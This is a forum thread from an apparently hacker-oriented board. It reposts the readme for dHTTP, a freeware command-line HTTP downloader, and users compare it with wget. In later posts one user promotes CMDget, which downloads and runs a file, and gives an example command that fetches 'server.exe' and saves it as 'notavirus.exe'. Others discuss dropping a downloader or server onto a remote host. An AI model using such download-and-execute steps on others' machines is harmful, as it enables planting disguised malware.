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OneNight
This one seemed rather interesting to me. I can see plenty of uses for this...

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dHTTP - Download web page or files
Copyright © 1999-2003 by WebGeek, Inc. (dave@basicguru.com)
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Occasionally I need to download a page or file from a web site. Normally,
I'd load the page/file in a browser and then save it. But it's a pain to
load a browser just to download a file.

dHTTP will download a file from a web server using the HTTP 1.1 protocol. You
can also download pages that are password protected.

Syntax: dhttp [username:password@]server[:port][/file]

Download the default page for a web site:

dhttp www.cmdtools.com

Download a specified file:

dhttp www.cmdtools.com/dhttp.zip

Download a password protected file:

dhttp username:password@www.domain.com

Download a file on a different port:

dhttp www.domain.com:8080

You can specify a path and filename using the "o" option:

dhttp /oindex.html www.cmdtools.com

Any header information returned by the web server is displayed on the screen
and the data is written to a file.

It should also work well in a network or timed script.

This product is freeware. There is no fee for personal use. It may not be
distributed as part of a commercial product without this original text file
describing the product.

If you have any comments or suggestions, please feel free to email me. The
latest version of this product may be downloaded from my web site at
http://www.cmdtools.com/

Thanks!

--Dave


Enjoy!
Feuerstein
have you ever tried wget ???

its a unix tool but was already ported to win.

... and works for ftp as well wink.gif
hermel
THX OneNight for the info and the nice tool smile.gif
boshcash
wget is larger than dhttpget so the smaller is always better ( when u wanna upload to a remote server to get any future files u want ) smile.gif
Feuerstein
QUOTE (boshcash @ Nov 10 2003, 12:53 PM)
wget is larger than dhttpget so the smaller is always better ( when u wanna upload to a remote server to get any future files u want ) smile.gif

hmm, sure, i agree, but i prefer to ftp my files and wget provides passive mode as well wink.gif
illwill
i know i posted this already but i love to brag biggrin.gif
my tool CMDget does the same thing only it executes the file it downloads...
syntax:
c:\>CMDget http://blah.com/server.exe c:\windows\notavirus.exe
and its only 1kb ph34r.gif
get it here
http://illmob.org/0day/
wicked
Thx Mate another tool for the Box.

Wkd.

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coder
another great tool can be written very easily... i like to keep a simple get app around one that outputs to standard output, that way it can easily be piped into other applications... now this obvisouly wouldn't have all the neat features of more advanced downloading software, but it nice to keep around for lil' projects wink.gif

and like i said before, this can easily be written (great if you have access to any kind of compiler & net libraries...) just open a socket and put GET... and Read from it outputing to Std output (depending on the syntax of the compiler). just in case you need bust out some super l33t ninja ish biggrin.gif
Anarchy
QUOTE (illwill @ Nov 11 2003, 01:43 AM)
i know i posted this already but i love to brag biggrin.gif
my tool CMDget does the same thing only it executes the file it downloads...
syntax:
c:\>CMDget http://blah.com/server.exe c:\windows\notavirus.exe
and its only 1kb ph34r.gif
get it here
http://illmob.org/0day/
wicked
So this ain't gonna be to hard to download a Server from some http:Site onto the Remote host ? ... Interesting... I Like it...Back for round 3 it comes..

Wkd..

wink.gif


btw: if youre sick of my posts just reach back into the posts and do what I do...

Put a little comment on them and they come Back to the First post...

Thinks: Not much time for (-)Negative Responses today ... Patience is Running Thin..

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